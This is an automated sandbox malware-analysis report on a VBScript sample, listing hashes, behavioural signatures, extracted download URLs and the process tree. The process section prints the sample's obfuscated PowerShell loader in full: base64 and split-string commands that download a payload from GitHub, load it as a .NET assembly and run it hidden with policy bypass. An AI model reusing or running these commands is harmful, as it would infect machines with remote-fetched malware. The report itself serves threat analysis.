Analysis
-
max time kernel
119s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20240704-en -
resource tags
arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system -
submitted
04-10-2024 08:03
Static task
static1
Behavioral task
behavioral1
Sample
segura.vbs
Resource
win7-20240704-en
General
-
Target
segura.vbs
-
Size
483KB
-
MD5
52917612f2ba8deed79d211c0bd5746f
-
SHA1
dea790f7518809133c06fee3931e742600613a9b
-
SHA256
76909f885c6b7247c7176b2cc08830c78b8b831bf7d3f0d9eec38da53e8ae93b
-
SHA512
d7260e28e3749fb5e5933ce1b451c4284da72a155feefacffd679ec7c68fc5906655443bbf40cacb2af7c682107e3c846300a90a05f1bb3e45c3b72026d0c9dd
-
SSDEEP
12288:3FIsz/Eb1lVfwxg6kUTGuimfRkZGOm76nrONHcIZgBVU4UupEFgAA0bOpZc+wGc8:3Dmjp7BFr
Malware Config
Extracted
https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt
https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt
Signatures
-
Blocklisted process makes network request 2 IoCs
flow pid Process 5 2644 powershell.exe 6 2644 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 2720 powershell.exe 2644 powershell.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
flow ioc 5 raw.githubusercontent.com 6 raw.githubusercontent.com 4 raw.githubusercontent.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2720 powershell.exe 2644 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2720 powershell.exe Token: SeDebugPrivilege 2644 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2820 wrote to memory of 2720 2820 WScript.exe 30 PID 2820 wrote to memory of 2720 2820 WScript.exe 30 PID 2820 wrote to memory of 2720 2820 WScript.exe 30 PID 2720 wrote to memory of 2644 2720 powershell.exe 32 PID 2720 wrote to memory of 2644 2720 powershell.exe 32 PID 2720 wrote to memory of 2644 2720 powershell.exe 32
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\segura.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:2820 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgneycrJzF9dXJsJysnID0gezJ9aHR0cHM6Ly8nKydyYScrJ3cuJysnZ2l0aHVidXMnKydlcmNvbicrJ3QnKydlbnQuY29tL04nKydvJysnRCcrJ2V0JysnZWN0T24nKycvTm9EZScrJ3RlY3RPJysnbi9yZWYnKydzJysnLycrJ2gnKydlJysnYScrJ2RzL21haW4nKycvRGV0YWhOb3RoLVYnKycudHh0ezJ9JysnOyB7MX1iJysnYXMnKydlJysnNjQnKydDb250ZScrJ250JysnID0gJysnKE5ldy1PYmplY3QnKycgU3knKydzdGVtLicrJ05ldC4nKydXZWJDbGllJysnbnQpLkRvJysnd24nKydsb2FkU3RyaScrJ24nKydnKHsxfXVyJysnbCk7JysnICcrJ3sxJysnfWJpbicrJ2EnKydyeUNvbnQnKydlbnQnKycgJysnPScrJyBbU3knKydzdCcrJ2VtLkMnKydvbicrJ3YnKydlJysncnRdJysnOjpGcicrJ29tQmFzJysnZTY0U3RyaScrJ25nKHsnKycxfWJhc2U2NENvbnQnKydlbnQpJysnOycrJyB7MScrJ31hc3NlbWJsJysneScrJyA9IFtSZWZsZWN0JysnaW9uJysnLkEnKydzc2VtYmwnKyd5XScrJzonKyc6JysnTG9hZCh7MX1iaW5hcicrJ3lDb250ZScrJ250KTsnKycgW2RubCcrJ2knKydiLkknKydPJysnLkgnKydvbWVdJysnOjpWQUkoezB9dHh0LkpOcmFUL3NkYW9sJysnbicrJ3dvZC8ycmF0L2YnKydhc2ZzJysnYWZzbHNkcycrJ2RsdmV1bi8nKydncicrJ28udGUnKydrYycrJ3VidGliLycrJy86c3B0dGh7MH0sIHswfWRlc2F0aXZhZG97MCcrJ30sICcrJ3snKycwfWQnKydlcycrJ2F0aXZhZG97MH0sIHswfWRlc2F0aXZhZCcrJ297MH0sICcrJ3snKycwfWFzcCcrJ25ldF9yZScrJ2dzcWx7JysnMCcrJ30nKycsICcrJ3swfScrJ3swfSx7MH17MH0nKycpJykgLWZbY0hBcl0zNCxbY0hBcl0zNixbY0hBcl0zOSl8ICYoICRQc0hPTWVbMjFdKyRQc2hPbWVbMzRdKyd4Jyk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2720 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{'+'1}url'+' = {2}https://'+'ra'+'w.'+'githubus'+'ercon'+'t'+'ent.com/N'+'o'+'D'+'et'+'ectOn'+'/NoDe'+'tectO'+'n/ref'+'s'+'/'+'h'+'e'+'a'+'ds/main'+'/DetahNoth-V'+'.txt{2}'+'; {1}b'+'as'+'e'+'64'+'Conte'+'nt'+' = '+'(New-Object'+' Sy'+'stem.'+'Net.'+'WebClie'+'nt).Do'+'wn'+'loadStri'+'n'+'g({1}ur'+'l);'+' '+'{1'+'}bin'+'a'+'ryCont'+'ent'+' '+'='+' [Sy'+'st'+'em.C'+'on'+'v'+'e'+'rt]'+'::Fr'+'omBas'+'e64Stri'+'ng({'+'1}base64Cont'+'ent)'+';'+' {1'+'}assembl'+'y'+' = [Reflect'+'ion'+'.A'+'ssembl'+'y]'+':'+':'+'Load({1}binar'+'yConte'+'nt);'+' [dnl'+'i'+'b.I'+'O'+'.H'+'ome]'+'::VAI({0}txt.JNraT/sdaol'+'n'+'wod/2rat/f'+'asfs'+'afslsds'+'dlveun/'+'gr'+'o.te'+'kc'+'ubtib/'+'/:sptth{0}, {0}desativado{0'+'}, '+'{'+'0}d'+'es'+'ativado{0}, {0}desativad'+'o{0}, '+'{'+'0}asp'+'net_re'+'gsql{'+'0'+'}'+', '+'{0}'+'{0},{0}{0}'+')') -f[cHAr]34,[cHAr]36,[cHAr]39)| &( $PsHOMe[21]+$PshOme[34]+'x')"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2644
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD573bf246ccb3502a1340e348c4f7bcec8
SHA1e9d09b6ecd8cbf7ae01152190be2bfed3def938b
SHA256ebb9c9eae21f302e91789fe153bdd2245b2b3544e0d3826b9a0d12d9c8210886
SHA51222e0a95dd399043ac12ae3278b4544d1b366ecc4d2f9c7889ed063e6a44d276acea1e18b6be19ac4cfb8bf636d55453e474f327db6883ee03dd01d1d44fe74ce